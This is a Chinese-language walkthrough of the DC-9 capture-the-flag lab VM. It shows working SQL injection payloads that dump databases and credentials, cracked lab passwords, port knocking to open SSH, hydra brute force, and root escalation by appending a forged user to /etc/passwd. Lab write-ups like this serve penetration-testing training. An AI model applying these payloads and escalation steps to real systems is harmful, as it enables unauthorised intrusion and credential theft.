007靶场-DC9(*)
2026/7/24 21:05:21 网站建设 项目流程

下载到本地VMware,配置好网络!

信息收集

主机探测:nmap -p- 192.168.115.0/24 -- 主机及端口号信息都探测出来!

只开了22和80!

开了80端口就直接访问:

另一边进行目录扫描:

再无其它可用信息,先告一段落!

漏洞突破

点击菜单发现有一个记录页面,一个搜索页面:

输入Jerry,在列表页面会显示相关信息:

然后测试一下sql注入漏洞:Jerry' or 1=1 # --,结果把所有的都返回了,说明存在sql注入漏洞:

有5列数据,先用Jerry' order by 5 #-- 试试,测试发现5,6有回显,7就没回显了,说明6个字段!

使用union: Jerry' union select 1,2,3,4,5,6 #--,发现确实是6个字段,

然后探测数据库:search=Jerry' union select database(),2,3,4,5,database() #--

探测表名字(使用老版火狐):search=Jerry' union select (SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),2,3,4,5,6 #--

发现有三张表StaffDetails、Users,UserDetails一张一张的看里面有啥,当然了首先肯定先看用户名表Users:

查看列字段:search=Jerry' union select (SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x5573657273)AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR%2b1,2,0x30),0x3a20,column_name,0x3c62723e)))))x),2,3,4,5,6 #--

继续探测字段值:search=Jerry' union select (SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(Users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,UserID,Username,Password,0x3c62723e))))x),2,3,4,5,6 #--

发现 1个用户,admin 856f5de590ef37314e7c3bdf6f8a66dc(32位的,应该是md5密码;也可以使用kail的hash-identifier识别一下)在网上解密一下,或者已经知道了用户名是admin,然后bp抓包然后对常用密码爆破一下:7w多个密码爆破没成功,md5网站解密一下,发现密码是:transorbital1,然后登录成功!

有这么个提示看看是否有文件包含漏洞:

然后查看etc下有一个knockd.conf(敲门服务)

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

靶机的关门是这样配置的,我们需要在kali下使用knock开一下们,然后使用ssh远程连接:

knock 192.168.115.146 7469 8475 9842,然后使用kali的ssh再连一下,发现还是连不上,陷入了死胡同!

思路不对,重新从sql开始,开始使用 search=Jerry' union select database(),2,3,4,5,database() 探测出来的是当前库,并没有探测出所有的库,换了一个新语句

search=Jerry' union select group_concat(schema_name),2,database(),4,5,6 from information_schema.schemata #--,如下:

发现开始操作的都是Staff库,这下又多出了一个users库,对这个库分别看看有些什么数据:

查看表:search=Jerry' union select group_concat(table_name),2,database(),4,5,6 from information_schema.tables where table_schema="users" #--

那会测试Staff里面也有个UserDetails,字段是id、firstname、lastname、username、password、reg_date,查数据时发现没有数据!

查看表里面的列:search=Jerry' union select group_concat(column_name),2,database(),4,5,6 from information_schema.columns where table_schema="users" and table_name="UserDetails" #--;发现有username和password;

查数据:search=Jerry' union select group_concat(username,0x7e,password),2,database(),4,5,6 from users.UserDetails #--

查到了用户和密码的一些信息,然后分别放两个文件,在kali中使用 hydra 对ssh进行爆破:

发现三组用户可以登录:chandlerb UrAG0D!;joeyt Passw0rd;janitor Ilovepeepee
用这三个用户分别登录,然后ls -al 查看信息:

查看,发现是一个目录,里面有一个放密码的文件:

把这些密码添加到刚才的密码文件,继续用hydra 爆破,发现多出来一个用登陆了的用户和密码:

fredf,B4-Tru3-001,使用ssh登录之后,查看是否可以sudo提权:

其它几个用户提示这样的信息:

说明可以sudo提权!

这段python代码的意思是进行文件读写,包括程序名在内的3个参数,argv[0]是程序名,argv[1]是要读取的文件,argv[2]是要写入的文件!拷贝一下/etc/passwd,然后在写入:

这个目录的test就是test.py编译后的可执行文件:

源文件可以写入成功,说明打包后的test也具有写入功能;首先我们利用openssl 生成一个我们自己的用户,然后写入/etc/passwd;

linux下,/etc/passwd 存储的是‌用户名信息,

root:x:0:0:root:/root:/bin/bash

用户名:密码占位符:UID:GID:描述:家目录:登录shell

第二列是密码占位符(通常为 x,表示密码存储在 /etc/shadow)

使用openssl生成明文为admin的密码构建我们自己的用户信息:openssl passwd -1 admin;

然后使用可以执行文件,把这一条用户信息写入到/etc/passwd :

然后切换到我们自己的用户admin,提前成功!

思路梳理

1、信息收集 发现 80和22端口,目录扫描未发现可以利用的。

2、页面访问,发现sql注入漏洞,以database()获取admin用户名和密码,但是收集的信息不全,需要获取到所有数据库的信息。

3、有了用户名和密码尝试ssh登录(因为页面中登录之后啥也没有)。

4、根据登录后页面的提示信息,发现文件包含漏洞,但是没有利用点

5、探测出一个敲门服务,敲门之后,ssh才可以远程连接

6、登录之后发现新密码,使用hydra爆破ssh,发现新用户和密码

7、登录之后使用sudo提权,找到python线索,python脚本的意思是文件复制,本地生成一个用户名和密码,用python的复制功能复制到/etc/passwd里面,提权成功!

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询